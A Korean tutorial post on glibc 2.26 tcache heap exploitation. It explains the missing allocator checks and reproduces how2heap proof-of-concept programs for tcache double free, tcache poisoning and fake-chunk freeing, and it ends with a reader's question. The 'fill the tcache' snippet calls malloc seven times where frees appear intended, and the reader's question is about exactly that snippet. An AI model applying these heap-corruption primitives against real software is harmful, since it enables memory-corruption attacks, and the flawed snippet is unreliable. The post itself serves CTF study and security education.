glibc-2.26
버전에 업데이트된 tcache bin을 이용한 취약점에 대해 다루는 글이며, 취약점 실습을 위해 glibc-2.26
버전을 기준으로 작성하는 글이다.
다음을 참고
ctf wiki에 설명이 잘 나와있다.
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/implementation/tcache/
Tcache is a technique introduced after glibc 2.26 (ubuntu 17.10) (see commit), the purpose is to improve The performance of heap management. But while improving performance, it has abandoned a lot of security checks, so there are many new ways to use it.
중요한 점은, 기존 bin에 존재하는 몇가지 시큐어 검사가 없어서 익스플로잇 하기 용이하다는 것이다.
취약점 이해를 위한 주요 특징에 대해 살펴본다.
single linked list이다.
free되었을 때 데이터의 첫번째 8바이트는 같은 bin의 이전 free 청크를 가리킨다.
gdb-peda$ x/80gx 0x5555555592a0-0x10
0x555555559290: 0x0000000000000000 0x0000000000000101
0x5555555592a0: 0x0000000000000000 0x0000555555559010
0x5555555592b0: 0x4141414141414141 0x4141414141414141
0x5555555592c0: 0x4141414141414141 0x4141414141414141
0x5555555592d0: 0x4141414141414141 0x4141414141414141
0x5555555592e0: 0x4141414141414141 0x4141414141414141
0x5555555592f0: 0x4141414141414141 0x4141414141414141
0x555555559300: 0x4141414141414141 0x4141414141414141
0x555555559310: 0x4141414141414141 0x4141414141414141
0x555555559320: 0x4141414141414141 0x4141414141414141
0x555555559330: 0x4141414141414141 0x4141414141414141
0x555555559340: 0x4141414141414141 0x4141414141414141
0x555555559350: 0x4141414141414141 0x4141414141414141
0x555555559360: 0x4141414141414141 0x4141414141414141
0x555555559370: 0x4141414141414141 0x4141414141414141
0x555555559380: 0x4141414141414141 0x4141414141414141
0x555555559390: 0x0000000000000000 0x0000000000000101
0x5555555593a0: 0x00005555555592a0 0x0000555555559010
0x5555555593b0: 0x4242424242424242 0x4242424242424242
0x5555555593c0: 0x4242424242424242 0x4242424242424242
0x5555555593d0: 0x4242424242424242 0x4242424242424242
0x5555555593e0: 0x4242424242424242 0x4242424242424242
0x5555555593f0: 0x4242424242424242 0x4242424242424242
0x555555559400: 0x4242424242424242 0x4242424242424242
2번째 free청크를 보면 0x00005555555592a0, 즉 이전 청크를 가리키고 있는 것을 알 수 있다.
보호 처리가 없다.
tcache에 free 청크를 insert할 때 코드를 보면
if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins // 64
&& tcache->counts[tc_idx] < mp_.tcache_count) // 7
{
tcache_put (p, tc_idx);
return;
}
}
prev_inuse
를 검사하는 등의 보호처리가 없이, 사이즈와 개수가 충족되면 free된 청크를 bin에 추가한다.
할당해줄 때의 코드도 마찬가지이다.
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes = request2size (bytes);
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
따로 검사가 없다.
따라서, 청크를 조작하는 것이 간단하고 double free 같은 버그를 유발하여 취약점에 이용할 수 있다.
※패치되어, double free에 대한 검사가 추가되었다.※
free된 청크가 가장 우선적 tcache에 배치된다.
단, 사이즈가 0x408이하일 경우이다.
다행히 tcache는 각 bin이 수용가능한 청크의 수가 7개로, 그 이상을 free시킨다면 tcache bin이 아닌 small이나 large 같은 unsorted bin에 저장되어 필요한 경우 우회할 수 있다.
for(int i = 0; i < 7; i++)
malloc(0xf0)
unsortedbin = malloc(0xf0)
double free bug를 이용하여 연속적으로 같은 공간을 할당받는 것이다.
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.\n");
fprintf(stderr, "Allocating buffer.\n");
int *a = malloc(8);
fprintf(stderr, "malloc(8): %p\n", a);
fprintf(stderr, "Freeing twice...\n");
free(a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
return 0;
}
※double free를 이용하는 해당 공격은 최신 버전에서 익스플로잇되지 않는다.※
다음 청크를 가리키는 fd
값을 수정하여
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
fprintf(stderr, "This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n\n");
size_t stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", (char *)&stack_var);
fprintf(stderr, "Allocating 1 buffer.\n");
intptr_t *a = malloc(128);
fprintf(stderr, "malloc(128): %p\n", a);
fprintf(stderr, "Freeing the buffer...\n");
free(a);
fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
a[0] = (intptr_t)&stack_var;
fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
intptr_t *b = malloc(128);
fprintf(stderr, "2nd malloc(128): %p\n", b);
fprintf(stderr, "We got the control\n");
return 0;
}
포인터가 유효한지, 사이즈가 일치하는지만 검사하기 때문에, 조작된 사이즈값과 fd
가 저장된 fake 청크를 만들어서 free시키면 tcache bin에 저장되고, 다음 할당 때 조작한 fd
였던 주소값이 반환되는 취약점이다.
#include <stdio.h>
#include <stdlib.h>
int main()
{
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region
fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
fake_chunks[1] = 0x40; // this is the size
a = &fake_chunks[2];
free(a);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
https://github.com/shellphish/how2heap/tree/master/glibc_2.26
tcache의 각 entry가 최대 7개의 청크를 가질 수 있다는 설명 뒤에 7번의 malloc()과 다음 malloc()으로 unsortedbin 변수에 청크를 저장하는 코드가 나와있습니다.
tcache는 free된 청크를 관리하는데 malloc() 7번은 무슨 의미가 있나요?